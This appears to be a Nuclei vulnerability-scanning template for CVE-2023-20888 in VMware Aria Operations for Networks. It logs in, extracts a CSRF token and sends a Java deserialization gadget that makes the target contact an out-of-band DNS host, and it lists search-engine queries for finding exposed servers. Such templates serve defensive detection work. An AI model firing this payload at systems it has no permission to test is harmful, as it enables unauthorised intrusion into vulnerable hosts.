CVE-2023-20888: VMware Aria Operations for Networks - Remote Code Execution

id: CVE-2023-20888

info:
  name: VMware Aria Operations for Networks - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Aria Operations for Networks contains an authenticated deserialization vulnerability. A malicious actor with network access to VMware Aria Operations for Networks and valid 'member' role credentials may be able to perform a deserialization attack resulting in remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2023-0012.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20888
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-20888
    cwe-id: CWE-502
    epss-score: 0.90925
    epss-percentile: 0.99605
    cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vmware
    product: vrealize_network_insight
    shodan-query:
      - title:"VMware Aria Operations"
      - http.title:"vmware vrealize network insight"
      - http.title:"vmware aria operations"
    fofa-query:
      - title="vmware vrealize network insight"
      - title="vmware aria operations"
    google-query:
      - intitle:"vmware aria operations"
      - intitle:"vmware vrealize network insight"
  tags: cve2023,cve,vmware,aria,rce,authenticated,oast,vuln

http:
  - raw:
      - |
        POST /api/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        X-Vrni-Csrf-Token: null

        {"username":"{{username}}","password":"{{password}}","domain":"localdomain"}
      - |
        POST /api/events/push-notifications HTTP/1.1
        Host: {{Hostname}}
        X-Vrni-Csrf-Token: {{csrf}}
        Content-Type: application/json

        {"endOffset": "{{ generate_java_gadget("dns", "http://{{interactsh-url}}", "base64") }} "}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 500

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'csrfToken":"([a-z0-9A-Z/+=]+)"'
        internal: true
        part: body
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